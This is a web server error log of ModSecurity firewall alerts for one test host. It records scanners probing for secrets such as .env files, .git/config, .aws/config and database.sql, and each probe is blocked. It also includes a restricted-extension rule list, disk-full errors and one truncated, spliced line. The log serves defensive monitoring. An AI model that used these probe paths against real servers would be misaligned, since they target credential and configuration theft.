[Tue Jul 01 06:30:29.562747 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsYAAAAAY&quot;]
[Tue Jul 01 06:30:29.563089 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsYAAAAAY&quot;]
[Tue Jul 01 06:30:29.563271 2025] [:error] [pid 4183505] [client 185.177.72.210:25290] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aGNkZfZHrFQ9LfBs7ULsYAAAAAY&quot;]
[Tue Jul 01 22:14:15.576033 2025] [:error] [pid 368016] [client 185.177.72.34:44268] [client 185.177.72.34] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGRBl_sXy7KKRL0nZqEyGQAAABg&quot;]
[Tue Jul 01 22:14:15.577895 2025] [:error] [pid 368016] [client 185.177.72.34:44268] [client 185.177.72.34] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGRBl_sXy7KKRL0nZqEyGQAAABg&quot;]
[Tue Jul 01 22:14:15.578101 2025] [:error] [pid 368016] [client 185.177.72.34:44268] [client 185.177.72.34] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGRBl_sXy7KKRL0nZqEyGQAAABg&quot;]
[Tue Jul 01 22:29:26.246282 2025] [:error] [pid 4184634] [client 185.177.72.16:62993] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGRFJrSvsww1pC5Bamvs7AAAAAw&quot;]
[Tue Jul 01 22:29:26.246789 2025] [:error] [pid 4184634] [client 185.177.72.16:62993] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGRFJrSvsww1pC5Bamvs7AAAAAw&quot;]
[Tue Jul 01 22:29:26.247046 2025] [:error] [pid 4184634] [client 185.177.72.16:62993] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGRFJrSvsww1pC5Bamvs7AAAAAw&quot;]
[Tue Jul 01 22:29:26.358617 2025] [:error] [pid 4183833] [client 185.177.72.16:63926] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aGRFJjF7JWw87UMwoaOWrQAAAAc&quot;]
[Tue Jul 01 22:29:26.358881 2025] [:error] [pid 4183833] [client 185.177.72.16:63926] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aGRFJjF7JWw87UMwoaOWrQAAAAc&quot;]
[Tue Jul 01 22:29:26.359058 2025] [:error] [pid 4183833] [client 185.177.72.16:63926] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aGRFJjF7JWw87UMwoaOWrQAAAAc&quot;]
[Tue Jul 01 22:29:26.473696 2025] [:error] [pid 4183423] [client 185.177.72.16:64707] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGRFJlOjHnrlwCr9vzYV4gAAAAU&quot;]
[Tue Jul 01 22:29:26.473955 2025] [:error] [pid 4183423] [client 185.177.72.16:64707] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGRFJlOjHnrlwCr9vzYV4gAAAAU&quot;]
[Tue Jul 01 22:29:26.474152 2025] [:error] [pid 4183423] [client 185.177.72.16:64707] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGRFJlOjHnrlwCr9vzYV4gAAAAU&quot;]
[Wed Jul 02 06:29:29.279157 2025] [:error] [pid 596643] [client 195.178.110.161:42936] [client 195.178.110.161] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGS1qdOlC-WXwmDfXpM-BAAAAAE&quot;]
[Wed Jul 02 06:29:29.280342 2025] [:error] [pid 596643] [client 195.178.110.161:42936] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGS1qdOlC-WXwmDfXpM-BAAAAAE&quot;]
[Wed Jul 02 06:29:29.280544 2025] [:error] [pid 596643] [client 195.178.110.161:42936] [client 195.178.110.161] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGS1qdOlC-WXwmDfXpM-BAAAAAE&quot;]
[Wed Jul 02 19:55:12.619439 2025] [:error] [pid 818758] [client 45.148.10.80:59852] [client 45.148.10.80] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGVygOGJvLFogFczGxHUPAAAABU&quot;]
[Wed Jul 02 19:55:12.619750 2025] [:error] [pid 818758] [client 45.148.10.80:59852] [client 45.148.10.80] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGVygOGJvLFogFczGxHUPAAAABU&quot;]
[Wed Jul 02 19:55:12.619950 2025] [:error] [pid 818758] [client 45.148.10.80:59852] [client 45.148.10.80] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGVygOGJvLFogFczGxHUPAAAABU&quot;]
[Wed Jul 02 20:24:57.566850 2025] [:error] [pid 818758] [client 185.177.72.12:59464] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGV5eeGJvLFogFczGxHUPwAAABU&quot;]
[Wed Jul 02 20:24:57.567115 2025] [:error] [pid 818758] [client 185.177.72.12:59464] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGV5eeGJvLFogFczGxHUPwAAABU&quot;]
[Wed Jul 02 20:24:57.567284 2025] [:error] [pid 818758] [client 185.177.72.12:59464] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGV5eeGJvLFogFczGxHUPwAAABU&quot;]
[Wed Jul 02 20:24:57.687537 2025] [:error] [pid 719646] [client 185.177.72.12:60034] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aGV5eaAZQ1dF1wKfHsaHSAAAAAk&quot;]
[Wed Jul 02 20:24:57.687911 2025] [:error] [pid 719646] [client 185.177.72.12:60034] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aGV5eaAZQ1dF1wKfHsaHSAAAAAk&quot;]
[Wed Jul 02 20:24:57.688187 2025] [:error] [pid 719646] [client 185.177.72.12:60034] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aGV5eaAZQ1dF1wKfHsaHSAAAAAk&quot;]
[Wed Jul 02 20:24:57.813963 2025] [:error] [pid 818761] [client 185.177.72.12:60528] [client 185.177.72.12] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGV5eVLas-cCR8ugp8alcgAAABg&quot;]
[Wed Jul 02 20:24:57.814272 2025] [:error] [pid 818761] [client 185.177.72.12:60528] [client 185.177.72.12] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGV5eVLas-cCR8ugp8alcgAAABg&quot;]
[Wed Jul 02 20:24:57.814480 2025] [:error] [pid 818761] [client 185.177.72.12:60528] [client 185.177.72.12] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aGV5eVLas-cCR8ugp8alcgAAABg&quot;]
[Wed Jul 02 21:53:31.182911 2025] [:error] [pid 596643] [client 68.183.125.250:35652] [client 68.183.125.250] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0): No space left on device [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aGWOO9OlC-WXwmDfXpM-OwAAAAE&quot;]
[Wed Jul 02 21:53:31.368387 2025] [:error] [pid 719688] [client 68.183.125.250:35656] [client 68.183.125.250] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0): No space left on device [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favicon.ico&quot;] [unique_id &quot;aGWOO7sXhVlf4UqKNR0b_wAAAAo&quot;], referer: http://pms.test.indacotrentino.com/
[Wed Jul 02 21:53:31.742609 2025] [:error] [pid 603909] [client 68.183.125.250:36264] [client 68.183.125.250] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0): No space left on device [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.html&quot;] [unique_id &quot;aGWOO60TbxfFvx4g9C3JwAAAAAc&quot;]
[Wed Jul 02 21:53:33.993018 2025] [:error] [pid 893197] [client 68.183.125.250:36362] [client 68.183.125.250] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0): No space left on device [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favicon.ico&quot;] [unique_id &quot;aGWOPcDcuQLufYyLyoOz0QAAAAA&quot;], referer: https://pms.test.indacotrentino.com/
[Wed Jul 02 22:29:08.863573 2025] [:error] [pid 893197] [client 165.154.254.143:51474] [client 165.154.254.143] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0): No space left on device [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;[Thu Jul 03 06:08:06.635900 2025] [:error] [pid 903586] [client 185.177.72.104:16024] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id 